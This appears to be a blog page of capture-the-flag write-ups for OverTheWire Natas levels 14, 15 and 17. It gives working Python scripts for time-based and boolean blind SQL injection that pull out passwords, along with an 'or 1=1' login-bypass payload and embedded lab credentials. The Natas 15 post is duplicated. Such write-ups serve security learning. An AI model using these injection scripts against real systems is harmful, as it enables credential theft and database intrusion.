From the welcoming page, it looks like Natas 17 will be some kind of SQL injection again.
Looking through the code, it looks like the request parameters are being directly passed into the SQL query again, but this time the output that's displayed back to us is commented out.
This causes a problem because it no longer matters what the query returns -- in all cases, there is no response.
We can, however, use a side-channel like the time it takes for the SQL query to execute. This is the first example of a "blind" SQL injection so far.
I wrote a quick python script that automates a process of constructing the query so that if a guess of a substring of the password is correct, the query will sleep for 2 seconds. The script then tracks how long each web request takes to return and uses the timing information to decide whether the guessed password substring was correct.
Here's the code:
import urllib2
from datetime import datetime
auth_head = 'Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=='
alphanumerics = map(chr, range(65, 91) + range(97,123) + range(48, 58))
def make_url(char, start):
return "http://natas17.natas.labs.overthewire.org/?username=natas18%22%20AND%20ASCII(SUBSTR(password,"+str(start)+",1))=ASCII(%22"+str(char)+"%22)%20AND%20SLEEP(2)%20AND%20%22a%22=%22a&debug=true"
def is_correct(char, start):
#print make_url(char, start), "-->",
req = urllib2.Request(make_url(char, start))
req.add_header("Authorization", auth_head)
t1 = datetime.now()
response = urllib2.urlopen(req).read()
t2 = datetime.now()
#print (t2 - t1).seconds
return (t2 - t1).seconds > 1
password = ""
while len(password) < 32:
print "Password =", password
for char in alphanumerics:
if is_correct(char, len(password)+1):
#print "correct! -->", char
password = password + char
break
print password
print "Woohoo!"
The output takes a few minutes to process, but the result is the password for natas18!
Showing posts with label sqli. Show all posts
Showing posts with label sqli. Show all posts
Monday, November 10, 2014
Saturday, November 8, 2014
Natas 15
This time, it looks like the only functionality they give us is the ability to check if a given username exists in the database:
Looking at the code, however, it looks like another SQL injection vulnerability is present. (See how they again directly stick the request parameters into the query string?)
For this one, I wrote a bit of code to automate the process of determining the password.
Since we control the "username" parameter, there's nothing stopping us from adding in additional tests to the query string.
After checking if the user "natas16" exists (it does), what happens if we also add an "and password=____" requirement on to the end of the SQL query? If the statement involving the password is true, we should see "This user exists.", if it's not, we should see "This user doesn't exist.".
import requests
auth_header = {'Authorization':'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
alphanumerics = map(chr, range(65, 91) + range(97,123) + range(48, 58))
def make_url(substr):
return "http://natas15.natas.labs.overthewire.org/index.php?debug=true&username=natas16%22%20and%20BINARY%20SUBSTRING%28password,1,%22" + str(len(substr)) + "%22%29=%22" + substr + "%22%20and%20%22a%22=%22a"
def is_success(url):
resp = requests.get(make_url(url), headers=auth_header)
return "This user exists." in resp.text
password = ""
while len(password) < 32:
for char in alphanumerics:
print password+char
if is_success(password+char):
password += char
break
print "Password =", password
The little python script above will use the SUBSTRING() SQL function to test substrings of the password, breaking down the brute-force effort to a character-by-character brute-force instead of trying to brute-force the entire password at once.
Eventually, the script exits and prints the full password.
Looking at the code, however, it looks like another SQL injection vulnerability is present. (See how they again directly stick the request parameters into the query string?)
For this one, I wrote a bit of code to automate the process of determining the password.
Since we control the "username" parameter, there's nothing stopping us from adding in additional tests to the query string.
After checking if the user "natas16" exists (it does), what happens if we also add an "and password=____" requirement on to the end of the SQL query? If the statement involving the password is true, we should see "This user exists.", if it's not, we should see "This user doesn't exist.".
import requests
auth_header = {'Authorization':'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
alphanumerics = map(chr, range(65, 91) + range(97,123) + range(48, 58))
def make_url(substr):
return "http://natas15.natas.labs.overthewire.org/index.php?debug=true&username=natas16%22%20and%20BINARY%20SUBSTRING%28password,1,%22" + str(len(substr)) + "%22%29=%22" + substr + "%22%20and%20%22a%22=%22a"
def is_success(url):
resp = requests.get(make_url(url), headers=auth_header)
return "This user exists." in resp.text
password = ""
while len(password) < 32:
for char in alphanumerics:
print password+char
if is_success(password+char):
password += char
break
print "Password =", password
The little python script above will use the SUBSTRING() SQL function to test substrings of the password, breaking down the brute-force effort to a character-by-character brute-force instead of trying to brute-force the entire password at once.
Eventually, the script exits and prints the full password.
Natas 14
Natas 14 looks like the first example of SQL injection.
We're first presented with a basic login screen:
We're first presented with a basic login screen:
Let's look at the code:
It looks like the request parameters are being passed directly into the SQL query string. This is good news for us, because if we use the quotation (") character, we can have the data we pass in be interpreted as part of the control logic.
If we pass in a" or 1=1 -- ", the query that gets executed will be SELECT * from users where username="a" or 1=1 -- "" and password="".
This is great for us. The "--" comment characters mean the rest of the line will be ignored, so the core of the query is SELECT * from users where username="a" or 1=1 -- meaning ALL entries in the users table will be selected because 1=1 always returns true.
That's more than enough for us to pass the login test, which only requires a single record to be present.
Subscribe to:
Posts (Atom)